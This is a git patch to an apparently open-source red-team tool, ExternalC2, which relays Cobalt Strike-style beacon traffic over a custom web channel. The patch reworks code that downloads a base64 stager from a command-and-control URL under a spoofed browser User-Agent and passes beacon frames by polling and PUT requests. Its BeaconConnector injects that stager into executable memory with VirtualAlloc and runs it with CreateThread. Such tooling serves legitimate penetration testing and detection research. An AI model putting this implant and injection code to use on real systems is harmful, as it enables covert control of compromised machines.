From 80b0c7b43f6a40c636a8ffb0dd47c35d62ada77a Mon Sep 17 00:00:00 2001 From: Ryan Hanson Date: Thu, 23 Nov 2017 08:47:12 -0800 Subject: [PATCH] Converted WebChannel to WebClient for older .NET compatibility. Fixed issue with Any CPU builds and x64 stager --- ExternalC2/Channels/WebChannel.cs | 31 ++++++++++++------------ ExternalC2/Connectors/BeaconConnector.cs | 8 +++--- ExternalC2/ExternalC2.csproj | 3 ++- ExternalC2Tests/WebC2Tests.cs | 2 +- ExternalC2Web/ExternalC2Web.csproj | 2 ++ ExternalC2Web/Program.cs | 9 +++++-- 6 files changed, 31 insertions(+), 24 deletions(-) diff --git a/ExternalC2/Channels/WebChannel.cs b/ExternalC2/Channels/WebChannel.cs index 26a0c5b..b374432 100644 --- a/ExternalC2/Channels/WebChannel.cs +++ b/ExternalC2/Channels/WebChannel.cs @@ -1,6 +1,7 @@ using System; using System.Linq; -using System.Net.Http; +using System.Net; +using System.Text; using System.Threading; using ExternalC2.Interfaces; @@ -11,7 +12,7 @@ namespace ExternalC2.Channels /// public class WebChannel : IC2Channel { - private readonly HttpClient _client; + private readonly WebClient _client; private readonly Uri _uri; /// @@ -21,7 +22,7 @@ public class WebChannel : IC2Channel public WebChannel(string url) { _uri = new Uri(url); - _client = new HttpClient {BaseAddress = _uri}; + _client = new WebClient {BaseAddress = url}; } /// @@ -48,17 +49,16 @@ public bool Connect() // TODO: A more elaborate connect and configuration procedure UrlPath = _uri.AbsolutePath; - var connectReq = new HttpRequestMessage(HttpMethod.Options, UrlPath); - var connectResp = _client.SendAsync(connectReq).Result; + _client.UploadString(UrlPath, "OPTIONS", ""); // Example of configuring the client - var idHeader = connectResp.Headers.GetValues("X-Id-Header").FirstOrDefault(); - var beaconId = connectResp.Headers.GetValues("X-Identifier").FirstOrDefault(); + var idHeader = _client.ResponseHeaders.GetValues("X-Id-Header").FirstOrDefault(); + var beaconId = _client.ResponseHeaders.GetValues("X-Identifier").FirstOrDefault(); if (beaconId != null) { - BeaconId = Guid.Parse(beaconId); - _client.DefaultRequestHeaders.Add(idHeader, BeaconId.ToString()); + BeaconId = new Guid(beaconId); + _client.Headers.Add(idHeader, BeaconId.ToString()); Connected = true; } else @@ -94,7 +94,7 @@ public byte[] ReadFrame() string b64Str; while (true) // TODO: Add failure condition { - b64Str = _client.GetStringAsync(UrlPath).Result; + b64Str = _client.DownloadString(UrlPath); if (!string.IsNullOrEmpty(b64Str)) break; Thread.Sleep(1000); } @@ -108,8 +108,7 @@ public byte[] ReadFrame() /// public void SendFrame(byte[] buffer) { - var body = new StringContent(Convert.ToBase64String(buffer)); - _client.PutAsync(UrlPath, body).Wait(); + _client.UploadString(UrlPath, "PUT", Convert.ToBase64String(buffer)); } /// @@ -147,13 +146,13 @@ public byte[] GetStager(bool is64Bit, int taskWaitTime = 100) public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100) { var bits = is64Bit ? "x64" : "x86"; - _client.DefaultRequestHeaders.Add("User-Agent", + _client.Headers.Add("User-Agent", $"Mozilla/5.0 (Windows NT 10.0; {bits}; Trident/7.0; rv:11.0) like Gecko"); - var resp = _client.PostAsync(UrlPath, null).Result; - var stager = resp.Content.ReadAsStringAsync().Result; + var resp = _client.UploadData(UrlPath, new byte[] { }); + var b64Str = Encoding.Default.GetString(resp); - return Convert.FromBase64String(stager); + return Convert.FromBase64String(b64Str); } } } \ No newline at end of file diff --git a/ExternalC2/Connectors/BeaconConnector.cs b/ExternalC2/Connectors/BeaconConnector.cs index c8f5caf..0ef87f9 100644 --- a/ExternalC2/Connectors/BeaconConnector.cs +++ b/ExternalC2/Connectors/BeaconConnector.cs @@ -56,9 +56,9 @@ protected BeaconConnector(IC2Channel serverChannel) public uint InjectStager(byte[] payload) { uint threadId = 0; - var addr = VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + IntPtr addr = VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - Marshal.Copy(payload, 0, (IntPtr) addr, payload.Length); + Marshal.Copy(payload, 0, addr, payload.Length); CreateThread(0, 0, addr, IntPtr.Zero, 0, ref threadId); return threadId; @@ -68,14 +68,14 @@ public uint InjectStager(byte[] payload) private static extern IntPtr CreateThread( uint lpThreadAttributes, uint dwStackSize, - uint lpStartAddress, + IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, ref uint lpThreadId ); [DllImport("kernel32")] - private static extern uint VirtualAlloc( + private static extern IntPtr VirtualAlloc( uint lpStartAddr, uint size, uint flAllocationType, diff --git a/ExternalC2/ExternalC2.csproj b/ExternalC2/ExternalC2.csproj index b679c3b..422f4a1 100644 --- a/ExternalC2/ExternalC2.csproj +++ b/ExternalC2/ExternalC2.csproj @@ -11,7 +11,8 @@ ExternalC2 v4.5 512 - + + true diff --git a/ExternalC2Tests/WebC2Tests.cs b/ExternalC2Tests/WebC2Tests.cs index 6a1ea45..2c6554e 100644 --- a/ExternalC2Tests/WebC2Tests.cs +++ b/ExternalC2Tests/WebC2Tests.cs @@ -9,7 +9,7 @@ namespace ExternalC2Tests [TestClass] public class WebC2Tests { - private readonly string _url = "http://127.0.0.1/beacon"; // Set to ExternalC2Web dotnet server + private readonly string _url = "http://127.0.0.1:50676/beacon"; // Set to ExternalC2Web dotnet server private WebC2 _beacon = new WebC2(); [TestInitialize] diff --git a/ExternalC2Web/ExternalC2Web.csproj b/ExternalC2Web/ExternalC2Web.csproj index 0f0119f..1e3ad13 100644 --- a/ExternalC2Web/ExternalC2Web.csproj +++ b/ExternalC2Web/ExternalC2Web.csproj @@ -2,6 +2,8 @@ netcoreapp2.0 + true + https://github.com/ryhanson/ExternalC2 diff --git a/ExternalC2Web/Program.cs b/ExternalC2Web/Program.cs index b6a08e7..856872a 100644 --- a/ExternalC2Web/Program.cs +++ b/ExternalC2Web/Program.cs @@ -1,4 +1,5 @@ -using Microsoft.AspNetCore; +using System; +using Microsoft.AspNetCore; using Microsoft.AspNetCore.Hosting; namespace ExternalC2Web @@ -7,12 +8,16 @@ public class Program { public static void Main(string[] args) { + if (args.Length != 2) + { + Console.WriteLine("Usage: dotnet run --url http://*:80/"); + return; + } BuildWebHost(args).Run(); } public static IWebHost BuildWebHost(string[] args) { - // TODO: Add more elegant command line parsing return WebHost.CreateDefaultBuilder(args) .UseUrls(args[1]) .UseStartup()